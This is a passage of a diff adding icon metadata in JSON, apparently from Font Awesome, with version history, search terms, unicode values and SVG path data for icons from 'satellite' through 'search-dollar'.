378.92c-.3.6-.6 1.08 0 0zm249.13-87a131.16 131.16 0 0 0-58 13.5c-5.9-11.9-12-22.3-13-30.1-1.2-9.1-2.5-14.5-1.1-25.3s7.7-26.1 7.6-27.2-1.4-6.6-14.3-6.7-24 2.5-25.29 5.9a122.83 122.83 0 0 0-5.3 19.1c-2.3 11.7-25.79 53.5-39.09 75.3-4.4-8.5-8.1-16-8.9-22-1.2-9.1-2.5-14.5-1.1-25.3s7.7-26.1 7.6-27.2-1.4-6.6-14.29-6.7-24 2.5-25.3 5.9-2.7 11.4-5.3 19.1-33.89 77.3-42.08 95.4c-4.2 9.2-7.8 16.6-10.4 21.6-.4.8-.7 1.3-.9 1.7.3-.5.5-1 .5-.8-2.2 4.3-3.5 6.7-3.5 6.7v.1c-1.7 3.2-3.6 6.1-4.5 6.1-.6 0-1.9-8.4.3-19.9 4.7-24.2 15.8-61.8 15.7-63.1-.1-.7 2.1-7.2-7.3-10.7-9.1-3.3-12.4 2.2-13.2 2.2s-1.4 2-1.4 2 10.1-42.4-19.39-42.4c-18.4 0-44 20.2-56.58 38.5-7.9 4.3-25 13.6-43 23.5-6.9 3.8-14 7.7-20.7 11.4-.5-.5-.9-1-1.4-1.5-35.79-38.2-101.87-65.2-99.07-116.5 1-18.7 7.5-67.8 127.07-127.4 98-48.8 176.35-35.4 189.84-5.6 19.4 42.5-41.89 121.6-143.66 133-38.79 4.3-59.18-10.7-64.28-16.3-5.3-5.9-6.1-6.2-8.1-5.1-3.3 1.8-1.2 7 0 10.1 3 7.9 15.5 21.9 36.79 28.9 18.7 6.1 64.18 9.5 119.17-11.8 61.78-23.8 109.87-90.1 95.77-145.6C386.52 18.32 293-.18 204.57 31.22c-52.69 18.7-109.67 48.1-150.66 86.4-48.69 45.6-56.48 85.3-53.28 101.9 11.39 58.9 92.57 97.3 125.06 125.7-1.6.9-3.1 1.7-4.5 2.5-16.29 8.1-78.18 40.5-93.67 74.7-17.5 38.8 2.9 66.6 16.29 70.4 41.79 11.6 84.58-9.3 107.57-43.6s20.2-79.1 9.6-99.5c-.1-.3-.3-.5-.4-.8 4.2-2.5 8.5-5 12.8-7.5 8.29-4.9 16.39-9.4 23.49-13.3-4 10.8-6.9 23.8-8.4 42.6-1.8 22 7.3 50.5 19.1 61.7 5.2 4.9 11.49 5 15.39 5 13.8 0 20-11.4 26.89-25 8.5-16.6 16-35.9 16-35.9s-9.4 52.2 16.3 52.2c9.39 0 18.79-12.1 23-18.3v.1s.2-.4.7-1.2c1-1.5 1.5-2.4 1.5-2.4v-.3c3.8-6.5 12.1-21.4 24.59-46 16.2-31.8 31.69-71.5 31.69-71.5a201.24 201.24 0 0 0 6.2 25.8c2.8 9.5 8.7 19.9 13.4 30-3.8 5.2-6.1 8.2-6.1 8.2a.31.31 0 0 0 .1.2c-3 4-6.4 8.3-9.9 12.5-12.79 15.2-28 32.6-30 37.6-2.4 5.9-1.8 10.3 2.8 13.7 3.4 2.6 9.4 3 15.69 2.5 11.5-.8 19.6-3.6 23.5-5.4a82.2 82.2 0 0 0 20.19-10.6c12.5-9.2 20.1-22.4 19.4-39.8-.4-9.6-3.5-19.2-7.3-28.2 1.1-1.6 2.3-3.3 3.4-5C434.8 301.72 450.1 270 450.1 270a201.24 201.24 0 0 0 6.2 25.8c2.4 8.1 7.09 17 11.39 25.7-18.59 15.1-30.09 32.6-34.09 44.1-7.4 21.3-1.6 30.9 9.3 33.1 4.9 1 11.9-1.3 17.1-3.5a79.46 79.46 0 0 0 21.59-11.1c12.5-9.2 24.59-22.1 23.79-39.6-.3-7.9-2.5-15.8-5.4-23.4 15.7-6.6 36.09-10.2 62.09-7.2 55.68 6.5 66.58 41.3 64.48 55.8s-13.8 22.6-17.7 25-5.1 3.3-4.8 5.1c.5 2.6 2.3 2.5 5.6 1.9 4.6-.8 29.19-11.8 30.29-38.7 1.6-34-31.09-71.4-89-71.1zm-429.18 144.7c-18.39 20.1-44.19 27.7-55.28 21.3C54.61 451 59.31 421.42 82 400c13.8-13 31.59-25 43.39-32.4 2.7-1.6 6.6-4 11.4-6.9.8-.5 1.2-.7 1.2-.7.9-.6 1.9-1.1 2.9-1.7 8.29 30.4.3 57.2-19.1 78.3zm134.36-91.4c-6.4 15.7-19.89 55.7-28.09 53.6-7-1.8-11.3-32.3-1.4-62.3 5-15.1 15.6-33.1 21.9-40.1 10.09-11.3 21.19-14.9 23.79-10.4 3.5 5.9-12.2 49.4-16.2 59.2zm111 53c-2.7 1.4-5.2 2.3-6.4 1.6-.9-.5 1.1-2.4 1.1-2.4s13.9-14.9 19.4-21.7c3.2-4 6.9-8.7 10.89-13.9 0 .5.1 1 .1 1.6-.13 17.9-17.32 30-25.12 34.8zm85.58-19.5c-2-1.4-1.7-6.1 5-20.7 2.6-5.7 8.59-15.3 19-24.5a36.18 36.18 0 0 1 1.9 10.8c-.1 22.5-16.2 30.9-25.89 34.4z" + } + }, + "free": [ + "brands" + ] + }, + "satellite": { + "changes": [ + "5.6.0", + "5.10.1", + "5.12.0" + ], + "ligatures": [], + "search": { + "terms": [ + "communications", + "hardware", + "orbit", + "space" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f7bf", + "label": "Satellite", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635674, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M502.60969,310.04206l-96.70393,96.71625a31.88151,31.88151,0,0,1-45.00765,0L280.572,326.34115l-9.89231,9.90759a190.56343,190.56343,0,0,1-5.40716,168.52287c-4.50077,8.50115-16.39342,9.59505-23.20707,2.79725L134.54715,400.05428l-17.7999,17.79929c.70324,2.60972,1.60965,5.00067,1.60965,7.79793a32.00544,32.00544,0,1,1-32.00544-32.00434c2.79735,0,5.18838.90637,7.7982,1.60959l17.7999-17.79929L4.43129,269.94287c-6.798-6.81342-5.70409-18.6119,2.79735-23.20627a190.58161,190.58161,0,0,1,168.52864-5.407l9.79854-9.79821-80.31053-80.41716a32.002,32.002,0,0,1,0-45.09987L201.96474,9.29814A31.62639,31.62639,0,0,1,224.46868,0a31.99951,31.99951,0,0,1,22.59759,9.29814l80.32615,80.30777,47.805-47.89713a33.6075,33.6075,0,0,1,47.50808,0l47.50807,47.50645a33.63308,33.63308,0,0,1,0,47.50644l-47.805,47.89713L502.71908,265.036A31.78938,31.78938,0,0,1,502.60969,310.04206ZM219.56159,197.433l73.82505-73.82252-68.918-68.9-73.80942,73.80689Zm237.74352,90.106-68.90233-68.9156-73.825,73.82252,68.918,68.9Z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M502.60969,310.04206l-96.70393,96.71625a31.88151,31.88151,0,0,1-45.00765,0L280.572,326.34115l-9.89231,9.90759a190.56343,190.56343,0,0,1-5.40716,168.52287c-4.50077,8.50115-16.39342,9.59505-23.20707,2.79725L134.54715,400.05428l-17.7999,17.79929c.70324,2.60972,1.60965,5.00067,1.60965,7.79793a32.00544,32.00544,0,1,1-32.00544-32.00434c2.79735,0,5.18838.90637,7.7982,1.60959l17.7999-17.79929L4.43129,269.94287c-6.798-6.81342-5.70409-18.6119,2.79735-23.20627a190.58161,190.58161,0,0,1,168.52864-5.407l9.79854-9.79821-80.31053-80.41716a32.002,32.002,0,0,1,0-45.09987L201.96474,9.29814A31.62639,31.62639,0,0,1,224.46868,0a31.99951,31.99951,0,0,1,22.59759,9.29814l80.32615,80.30777,47.805-47.89713a33.6075,33.6075,0,0,1,47.50808,0l47.50807,47.50645a33.63308,33.63308,0,0,1,0,47.50644l-47.805,47.89713L502.71908,265.036A31.78938,31.78938,0,0,1,502.60969,310.04206ZM219.56159,197.433l73.82505-73.82252-68.918-68.9-73.80942,73.80689Zm237.74352,90.106-68.90233-68.9156-73.825,73.82252,68.918,68.9Z" + } + }, + "free": [ + "solid" + ] + }, + "satellite-dish": { + "changes": [ + "5.6.0", + "5.12.0" + ], + "ligatures": [], + "search": { + "terms": [ + "SETI", + "communications", + "hardware", + "receiver", + "saucer", + "signal", + "space" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f7c0", + "label": "Satellite Dish", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635674, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M305.44954,462.59c7.39157,7.29792,6.18829,20.09661-3.00038,25.00356-77.713,41.80281-176.72559,29.9105-242.34331-35.7082C-5.49624,386.28227-17.404,287.362,24.41381,209.554c4.89125-9.095,17.68975-10.29834,25.00318-3.00043L166.22872,323.36708l27.39411-27.39452c-.68759-2.60974-1.594-5.00071-1.594-7.81361a32.00407,32.00407,0,1,1,32.00407,32.00455c-2.79723,0-5.20378-.89075-7.79786-1.594l-27.40974,27.41015ZM511.9758,303.06732a16.10336,16.10336,0,0,1-16.002,17.00242H463.86031a15.96956,15.96956,0,0,1-15.89265-15.00213C440.46671,175.5492,336.45348,70.53427,207.03078,63.53328a15.84486,15.84486,0,0,1-15.00191-15.90852V16.02652A16.09389,16.09389,0,0,1,209.031.02425C372.25491,8.61922,503.47472,139.841,511.9758,303.06732Zm-96.01221-.29692a16.21093,16.21093,0,0,1-16.11142,17.29934H367.645a16.06862,16.06862,0,0,1-15.89265-14.70522c-6.90712-77.01094-68.118-138.91037-144.92467-145.22376a15.94,15.94,0,0,1-14.79876-15.89289V112.13393a16.134,16.134,0,0,1,17.29908-16.096C319.45132,104.5391,407.55627,192.64538,415.96359,302.7704Z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M305.44954,462.59c7.39157,7.29792,6.18829,20.09661-3.00038,25.00356-77.713,41.80281-176.72559,29.9105-242.34331-35.7082C-5.49624,386.28227-17.404,287.362,24.41381,209.554c4.89125-9.095,17.68975-10.29834,25.00318-3.00043L166.22872,323.36708l27.39411-27.39452c-.68759-2.60974-1.594-5.00071-1.594-7.81361a32.00407,32.00407,0,1,1,32.00407,32.00455c-2.79723,0-5.20378-.89075-7.79786-1.594l-27.40974,27.41015ZM511.9758,303.06732a16.10336,16.10336,0,0,1-16.002,17.00242H463.86031a15.96956,15.96956,0,0,1-15.89265-15.00213C440.46671,175.5492,336.45348,70.53427,207.03078,63.53328a15.84486,15.84486,0,0,1-15.00191-15.90852V16.02652A16.09389,16.09389,0,0,1,209.031.02425C372.25491,8.61922,503.47472,139.841,511.9758,303.06732Zm-96.01221-.29692a16.21093,16.21093,0,0,1-16.11142,17.29934H367.645a16.06862,16.06862,0,0,1-15.89265-14.70522c-6.90712-77.01094-68.118-138.91037-144.92467-145.22376a15.94,15.94,0,0,1-14.79876-15.89289V112.13393a16.134,16.134,0,0,1,17.29908-16.096C319.45132,104.5391,407.55627,192.64538,415.96359,302.7704Z" + } + }, + "free": [ + "solid" + ] + }, + "save": { + "changes": [ + "2", + "5.0.0", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "disk", + "download", + "floppy", + "floppy-o" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f0c7", + "label": "Save", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635675, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M433.941 129.941l-83.882-83.882A48 48 0 0 0 316.118 32H48C21.49 32 0 53.49 0 80v352c0 26.51 21.49 48 48 48h352c26.51 0 48-21.49 48-48V163.882a48 48 0 0 0-14.059-33.941zM224 416c-35.346 0-64-28.654-64-64 0-35.346 28.654-64 64-64s64 28.654 64 64c0 35.346-28.654 64-64 64zm96-304.52V212c0 6.627-5.373 12-12 12H76c-6.627 0-12-5.373-12-12V108c0-6.627 5.373-12 12-12h228.52c3.183 0 6.235 1.264 8.485 3.515l3.48 3.48A11.996 11.996 0 0 1 320 111.48z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M433.941 129.941l-83.882-83.882A48 48 0 0 0 316.118 32H48C21.49 32 0 53.49 0 80v352c0 26.51 21.49 48 48 48h352c26.51 0 48-21.49 48-48V163.882a48 48 0 0 0-14.059-33.941zM224 416c-35.346 0-64-28.654-64-64 0-35.346 28.654-64 64-64s64 28.654 64 64c0 35.346-28.654 64-64 64zm96-304.52V212c0 6.627-5.373 12-12 12H76c-6.627 0-12-5.373-12-12V108c0-6.627 5.373-12 12-12h228.52c3.183 0 6.235 1.264 8.485 3.515l3.48 3.48A11.996 11.996 0 0 1 320 111.48z" + }, + "regular": { + "last_modified": 1628088634979, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M433.941 129.941l-83.882-83.882A48 48 0 0 0 316.118 32H48C21.49 32 0 53.49 0 80v352c0 26.51 21.49 48 48 48h352c26.51 0 48-21.49 48-48V163.882a48 48 0 0 0-14.059-33.941zM272 80v80H144V80h128zm122 352H54a6 6 0 0 1-6-6V86a6 6 0 0 1 6-6h42v104c0 13.255 10.745 24 24 24h176c13.255 0 24-10.745 24-24V83.882l78.243 78.243a6 6 0 0 1 1.757 4.243V426a6 6 0 0 1-6 6zM224 232c-48.523 0-88 39.477-88 88s39.477 88 88 88 88-39.477 88-88-39.477-88-88-88zm0 128c-22.056 0-40-17.944-40-40s17.944-40 40-40 40 17.944 40 40-17.944 40-40 40z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M433.941 129.941l-83.882-83.882A48 48 0 0 0 316.118 32H48C21.49 32 0 53.49 0 80v352c0 26.51 21.49 48 48 48h352c26.51 0 48-21.49 48-48V163.882a48 48 0 0 0-14.059-33.941zM272 80v80H144V80h128zm122 352H54a6 6 0 0 1-6-6V86a6 6 0 0 1 6-6h42v104c0 13.255 10.745 24 24 24h176c13.255 0 24-10.745 24-24V83.882l78.243 78.243a6 6 0 0 1 1.757 4.243V426a6 6 0 0 1-6 6zM224 232c-48.523 0-88 39.477-88 88s39.477 88 88 88 88-39.477 88-88-39.477-88-88-88zm0 128c-22.056 0-40-17.944-40-40s17.944-40 40-40 40 17.944 40 40-17.944 40-40 40z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "schlix": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f3ea", + "label": "SCHLIX", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861019, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M350.5 157.7l-54.2-46.1 73.4-39 78.3 44.2-97.5 40.9zM192 122.1l45.7-28.2 34.7 34.6-55.4 29-25-35.4zm-65.1 6.6l31.9-22.1L176 135l-36.7 22.5-12.4-28.8zm-23.3 88.2l-8.8-34.8 29.6-18.3 13.1 35.3-33.9 17.8zm-21.2-83.7l23.9-18.1 8.9 24-26.7 18.3-6.1-24.2zM59 206.5l-3.6-28.4 22.3-15.5 6.1 28.7L59 206.5zm-30.6 16.6l20.8-12.8 3.3 33.4-22.9 12-1.2-32.6zM1.4 268l19.2-10.2.4 38.2-21 8.8L1.4 268zm59.1 59.3l-28.3 8.3-1.6-46.8 25.1-10.7 4.8 49.2zM99 263.2l-31.1 13-5.2-40.8L90.1 221l8.9 42.2zM123.2 377l-41.6 5.9-8.1-63.5 35.2-10.8 14.5 68.4zm28.5-139.9l21.2 57.1-46.2 13.6-13.7-54.1 38.7-16.6zm85.7 230.5l-70.9-3.3-24.3-95.8 55.2-8.6 40 107.7zm-84.9-279.7l42.2-22.4 28 45.9-50.8 21.3-19.4-44.8zm41 94.9l61.3-18.7 52.8 86.6-79.8 11.3-34.3-79.2zm51.4-85.6l67.3-28.8 65.5 65.4-88.6 26.2-44.2-62.8z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M350.5 157.7l-54.2-46.1 73.4-39 78.3 44.2-97.5 40.9zM192 122.1l45.7-28.2 34.7 34.6-55.4 29-25-35.4zm-65.1 6.6l31.9-22.1L176 135l-36.7 22.5-12.4-28.8zm-23.3 88.2l-8.8-34.8 29.6-18.3 13.1 35.3-33.9 17.8zm-21.2-83.7l23.9-18.1 8.9 24-26.7 18.3-6.1-24.2zM59 206.5l-3.6-28.4 22.3-15.5 6.1 28.7L59 206.5zm-30.6 16.6l20.8-12.8 3.3 33.4-22.9 12-1.2-32.6zM1.4 268l19.2-10.2.4 38.2-21 8.8L1.4 268zm59.1 59.3l-28.3 8.3-1.6-46.8 25.1-10.7 4.8 49.2zM99 263.2l-31.1 13-5.2-40.8L90.1 221l8.9 42.2zM123.2 377l-41.6 5.9-8.1-63.5 35.2-10.8 14.5 68.4zm28.5-139.9l21.2 57.1-46.2 13.6-13.7-54.1 38.7-16.6zm85.7 230.5l-70.9-3.3-24.3-95.8 55.2-8.6 40 107.7zm-84.9-279.7l42.2-22.4 28 45.9-50.8 21.3-19.4-44.8zm41 94.9l61.3-18.7 52.8 86.6-79.8 11.3-34.3-79.2zm51.4-85.6l67.3-28.8 65.5 65.4-88.6 26.2-44.2-62.8z" + } + }, + "free": [ + "brands" + ] + }, + "school": { + "changes": [ + "5.0.13" + ], + "ligatures": [], + "search": { + "terms": [ + "building", + "education", + "learn", + "student", + "teacher" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f549", + "label": "School", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635679, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M0 224v272c0 8.84 7.16 16 16 16h80V192H32c-17.67 0-32 14.33-32 32zm360-48h-24v-40c0-4.42-3.58-8-8-8h-16c-4.42 0-8 3.58-8 8v64c0 4.42 3.58 8 8 8h48c4.42 0 8-3.58 8-8v-16c0-4.42-3.58-8-8-8zm137.75-63.96l-160-106.67a32.02 32.02 0 0 0-35.5 0l-160 106.67A32.002 32.002 0 0 0 128 138.66V512h128V368c0-8.84 7.16-16 16-16h96c8.84 0 16 7.16 16 16v144h128V138.67c0-10.7-5.35-20.7-14.25-26.63zM320 256c-44.18 0-80-35.82-80-80s35.82-80 80-80 80 35.82 80 80-35.82 80-80 80zm288-64h-64v320h80c8.84 0 16-7.16 16-16V224c0-17.67-14.33-32-32-32z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M0 224v272c0 8.84 7.16 16 16 16h80V192H32c-17.67 0-32 14.33-32 32zm360-48h-24v-40c0-4.42-3.58-8-8-8h-16c-4.42 0-8 3.58-8 8v64c0 4.42 3.58 8 8 8h48c4.42 0 8-3.58 8-8v-16c0-4.42-3.58-8-8-8zm137.75-63.96l-160-106.67a32.02 32.02 0 0 0-35.5 0l-160 106.67A32.002 32.002 0 0 0 128 138.66V512h128V368c0-8.84 7.16-16 16-16h96c8.84 0 16 7.16 16 16v144h128V138.67c0-10.7-5.35-20.7-14.25-26.63zM320 256c-44.18 0-80-35.82-80-80s35.82-80 80-80 80 35.82 80 80-35.82 80-80 80zm288-64h-64v320h80c8.84 0 16-7.16 16-16V224c0-17.67-14.33-32-32-32z" + } + }, + "free": [ + "solid" + ] + }, + "screwdriver": { + "changes": [ + "5.0.13" + ], + "ligatures": [], + "search": { + "terms": [ + "admin", + "fix", + "mechanic", + "repair", + "settings", + "tool" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f54a", + "label": "Screwdriver", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635679, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M448 0L320 96v62.06l-83.03 83.03c6.79 4.25 13.27 9.06 19.07 14.87 5.8 5.8 10.62 12.28 14.87 19.07L353.94 192H416l96-128-64-64zM128 278.59L10.92 395.67c-14.55 14.55-14.55 38.15 0 52.71l52.7 52.7c14.56 14.56 38.15 14.56 52.71 0L233.41 384c29.11-29.11 29.11-76.3 0-105.41s-76.3-29.11-105.41 0z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M448 0L320 96v62.06l-83.03 83.03c6.79 4.25 13.27 9.06 19.07 14.87 5.8 5.8 10.62 12.28 14.87 19.07L353.94 192H416l96-128-64-64zM128 278.59L10.92 395.67c-14.55 14.55-14.55 38.15 0 52.71l52.7 52.7c14.56 14.56 38.15 14.56 52.71 0L233.41 384c29.11-29.11 29.11-76.3 0-105.41s-76.3-29.11-105.41 0z" + } + }, + "free": [ + "solid" + ] + }, + "scribd": { + "changes": [ + "4.5", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f28a", + "label": "Scribd", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861019, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M42.3 252.7c-16.1-19-24.7-45.9-24.8-79.9 0-100.4 75.2-153.1 167.2-153.1 98.6-1.6 156.8 49 184.3 70.6l-50.5 72.1-37.3-24.6 26.9-38.6c-36.5-24-79.4-36.5-123-35.8-50.7-.8-111.7 27.2-111.7 76.2 0 18.7 11.2 20.7 28.6 15.6 23.3-5.3 41.9.6 55.8 14 26.4 24.3 23.2 67.6-.7 91.9-29.2 29.5-85.2 27.3-114.8-8.4zm317.7 5.9c-15.5-18.8-38.9-29.4-63.2-28.6-38.1-2-71.1 28-70.5 67.2-.7 16.8 6 33 18.4 44.3 14.1 13.9 33 19.7 56.3 14.4 17.4-5.1 28.6-3.1 28.6 15.6 0 4.3-.5 8.5-1.4 12.7-16.7 40.9-59.5 64.4-121.4 64.4-51.9.2-102.4-16.4-144.1-47.3l33.7-39.4-35.6-27.4L0 406.3l15.4 13.8c52.5 46.8 120.4 72.5 190.7 72.2 51.4 0 94.4-10.5 133.6-44.1 57.1-51.4 54.2-149.2 20.3-189.6z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M42.3 252.7c-16.1-19-24.7-45.9-24.8-79.9 0-100.4 75.2-153.1 167.2-153.1 98.6-1.6 156.8 49 184.3 70.6l-50.5 72.1-37.3-24.6 26.9-38.6c-36.5-24-79.4-36.5-123-35.8-50.7-.8-111.7 27.2-111.7 76.2 0 18.7 11.2 20.7 28.6 15.6 23.3-5.3 41.9.6 55.8 14 26.4 24.3 23.2 67.6-.7 91.9-29.2 29.5-85.2 27.3-114.8-8.4zm317.7 5.9c-15.5-18.8-38.9-29.4-63.2-28.6-38.1-2-71.1 28-70.5 67.2-.7 16.8 6 33 18.4 44.3 14.1 13.9 33 19.7 56.3 14.4 17.4-5.1 28.6-3.1 28.6 15.6 0 4.3-.5 8.5-1.4 12.7-16.7 40.9-59.5 64.4-121.4 64.4-51.9.2-102.4-16.4-144.1-47.3l33.7-39.4-35.6-27.4L0 406.3l15.4 13.8c52.5 46.8 120.4 72.5 190.7 72.2 51.4 0 94.4-10.5 133.6-44.1 57.1-51.4 54.2-149.2 20.3-189.6z" + } + }, + "free": [ + "brands" + ] + }, + "scroll": { + "changes": [ + "5.4.0", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "Dungeons & Dragons", + "announcement", + "d&d", + "dnd", + "fantasy", + "paper", + "script" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f70e", + "label": "Scroll", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635680, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M48 0C21.53 0 0 21.53 0 48v64c0 8.84 7.16 16 16 16h80V48C96 21.53 74.47 0 48 0zm208 412.57V352h288V96c0-52.94-43.06-96-96-96H111.59C121.74 13.41 128 29.92 128 48v368c0 38.87 34.65 69.65 74.75 63.12C234.22 474 256 444.46 256 412.57zM288 384v32c0 52.93-43.06 96-96 96h336c61.86 0 112-50.14 112-112 0-8.84-7.16-16-16-16H288z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M48 0C21.53 0 0 21.53 0 48v64c0 8.84 7.16 16 16 16h80V48C96 21.53 74.47 0 48 0zm208 412.57V352h288V96c0-52.94-43.06-96-96-96H111.59C121.74 13.41 128 29.92 128 48v368c0 38.87 34.65 69.65 74.75 63.12C234.22 474 256 444.46 256 412.57zM288 384v32c0 52.93-43.06 96-96 96h336c61.86 0 112-50.14 112-112 0-8.84-7.16-16-16-16H288z" + } + }, + "free": [ + "solid" + ] + }, + "sd-card": { + "changes": [ + "5.6.0" + ], + "ligatures": [], + "search": { + "terms": [ + "image", + "memory", + "photo", + "save" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f7c2", + "label": "Sd Card", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635681, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M320 0H128L0 128v320c0 35.3 28.7 64 64 64h256c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64zM160 160h-48V64h48v96zm80 0h-48V64h48v96zm80 0h-48V64h48v96z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M320 0H128L0 128v320c0 35.3 28.7 64 64 64h256c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64zM160 160h-48V64h48v96zm80 0h-48V64h48v96zm80 0h-48V64h48v96z" + } + }, + "free": [ + "solid" + ] + }, + "search": { + "changes": [ + "1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "bigger", + "enlarge", + "find", + "magnify", + "preview", + "zoom" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f002", + "label": "Search", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635682, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M505 442.7L405.3 343c-4.5-4.5-10.6-7-17-7H372c27.6-35.3 44-79.7 44-128C416 93.1 322.9 0 208 0S0 93.1 0 208s93.1 208 208 208c48.3 0 92.7-16.4 128-44v16.3c0 6.4 2.5 12.5 7 17l99.7 99.7c9.4 9.4 24.6 9.4 33.9 0l28.3-28.3c9.4-9.4 9.4-24.6.1-34zM208 336c-70.7 0-128-57.2-128-128 0-70.7 57.2-128 128-128 70.7 0 128 57.2 128 128 0 70.7-57.2 128-128 128z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M505 442.7L405.3 343c-4.5-4.5-10.6-7-17-7H372c27.6-35.3 44-79.7 44-128C416 93.1 322.9 0 208 0S0 93.1 0 208s93.1 208 208 208c48.3 0 92.7-16.4 128-44v16.3c0 6.4 2.5 12.5 7 17l99.7 99.7c9.4 9.4 24.6 9.4 33.9 0l28.3-28.3c9.4-9.4 9.4-24.6.1-34zM208 336c-70.7 0-128-57.2-128-128 0-70.7 57.2-128 128-128 70.7 0 128 57.2 128 128 0 70.7-57.2 128-128 128z" + } + }, + "free": [ + "solid" + ] + }, + "search-dollar": { + "changes": [ + "5.3.0" + ], + "ligatures": [], + "search": { + "terms": [ + "bigger", + "enlarge", + "find", + "magnify", + "money", + "preview", + "zoom" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f688", + "label": "Search Dollar", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635681, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M505.04 442.66l-99.71-99.69c-4.5-4.5-10.6-7-17-7h-16.3c27.6-35.3 44-79.69 44-127.99C416.03 93.09 322.92 0 208.02 0S0 93.09 0 207.98s93.11 207.98 208.02 207.98c48.3 0 92.71-16.4 128.01-44v16.3c0 6.4 2.5 12.5 7 17l99.71 99.69c9.4 9.4 24.6 9.4 33.9 0l28.3-28.3c9.4-9.4 9.4-24.59.1-33.99zm-297.02-90.7c-79.54 0-144-64.34-144-143.98 0-79.53 64.35-143.98 144-143.98 79.54 0 144 64.34 144 143.98 0 79.53-64.35 143.98-144 143.98zm27.11-152.54l-45.01-13.5c-5.16-1.55-8.77-6.78-8.77-12.73 0-7.27 5.3-13.19 11.8-13.19h28.11c4.56 0 8.96 1.29 12.82 3.72 3.24 2.03 7.36 1.91 10.13-.73l11.75-11.21c3.53-3.37 3.33-9.21-.57-12.14-9.1-6.83-20.08-10.77-31.37-11.35V112c0-4.42-3.58-8-8-8h-16c-4.42 0-8 3.58-8 8v16.12c-23.63.63-42.68 20.55-42.68 45.07 0 19.97 12.99 37.81 31.58 43.39l45.01 13.5c5.16 1.55 8.77 6.78 8.77 12.73 0 7.27-5.3 13.19-11.8 13.19h-28.1c-4.56 0-8.96-1.29-12.82-3.72-3.24-2.03-7.36-1.91-10.13.73l-11.75 11.21c-3.53 3.37-3.33 9.21.57 12.14 9.1 6.83 20.08 10.77 31.37 11.35V304c0 4.42 3.58 8 8 8h16c4.42 0 8-3.58 8-8v-16.12c23.63-.63 42.68-20.54 42.68-45.07 0-19.97-12.99-37.81-31.59-43.39z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M505.04 442.66l-99.71-99.69c-4.5-4.5-10.6-7-17-7h-16.3c27.6-35.3 44-79.69 44-127.99C416.03 93.09 322.92 0 208.02 0S0 93.09 0 207.98s93.11 207.98 208.02 207.98c48.3 0 92.71-16.4 128.01-44v16.3c0 6.4 2.5 12.5 7 17l99.71 99.69c9.4 9.4 24.6 9.4 33.9 0l28.3-28.3c9.4-9.4 